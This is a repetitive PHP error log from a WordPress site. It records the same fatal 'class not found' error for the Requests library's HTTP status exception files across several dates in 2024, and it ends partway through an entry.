[19-Sep-2024 20:14:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[19-Sep-2024 20:14:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[19-Sep-2024 20:28:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[19-Sep-2024 20:28:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[19-Sep-2024 20:28:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[19-Sep-2024 20:28:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[19-Sep-2024 20:28:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[19-Sep-2024 20:28:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[19-Sep-2024 20:28:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[19-Sep-2024 20:28:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[19-Sep-2024 20:28:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[19-Sep-2024 20:28:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[19-Sep-2024 20:28:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[19-Sep-2024 20:28:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[19-Sep-2024 20:28:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[19-Sep-2024 20:29:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[19-Sep-2024 20:29:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[19-Sep-2024 20:29:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[19-Sep-2024 20:29:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[19-Sep-2024 20:29:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[19-Sep-2024 20:29:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[19-Sep-2024 20:29:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[19-Sep-2024 20:29:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[19-Sep-2024 20:29:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[19-Sep-2024 20:29:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[19-Sep-2024 20:29:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[19-Sep-2024 20:29:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[19-Sep-2024 20:29:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[19-Sep-2024 20:29:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[19-Sep-2024 20:29:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[19-Sep-2024 20:29:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[19-Sep-2024 20:29:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[19-Sep-2024 20:29:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[19-Sep-2024 20:29:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[19-Sep-2024 20:29:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[10-Nov-2024 08:45:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[10-Nov-2024 08:45:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[10-Nov-2024 08:45:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[10-Nov-2024 08:45:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[10-Nov-2024 08:45:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[10-Nov-2024 08:45:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[10-Nov-2024 08:46:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[10-Nov-2024 08:46:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[10-Nov-2024 08:46:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[10-Nov-2024 08:46:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[10-Nov-2024 08:46:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[10-Nov-2024 08:47:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[10-Nov-2024 08:47:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[10-Nov-2024 08:47:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[10-Nov-2024 08:47:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[10-Nov-2024 08:47:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[10-Nov-2024 08:48:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[10-Nov-2024 08:48:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[10-Nov-2024 08:48:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[10-Nov-2024 08:48:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[10-Nov-2024 08:48:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[10-Nov-2024 08:48:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[10-Nov-2024 08:48:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[10-Nov-2024 08:48:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[10-Nov-2024 08:49:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[10-Nov-2024 08:49:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[10-Nov-2024 08:49:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[10-Nov-2024 08:49:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[10-Nov-2024 08:49:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[10-Nov-2024 08:49:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[10-Nov-2024 08:49:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[10-Nov-2024 08:49:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[10-Nov-2024 08:50:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[10-Nov-2024 11:33:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[10-Nov-2024 11:33:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[10-Nov-2024 11:33:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[10-Nov-2024 11:33:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[10-Nov-2024 11:33:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[10-Nov-2024 11:33:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[10-Nov-2024 11:33:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[10-Nov-2024 11:33:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[10-Nov-2024 11:33:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[10-Nov-2024 11:33:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[10-Nov-2024 11:33:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[10-Nov-2024 11:33:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[10-Nov-2024 11:33:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[10-Nov-2024 11:33:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[10-Nov-2024 11:33:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[10-Nov-2024 11:33:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[10-Nov-2024 11:33:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[10-Nov-2024 11:33:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[10-Nov-2024 11:33:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[10-Nov-2024 11:33:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[10-Nov-2024 11:33:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[10-Nov-2024 11:33:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[10-Nov-2024 11:33:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
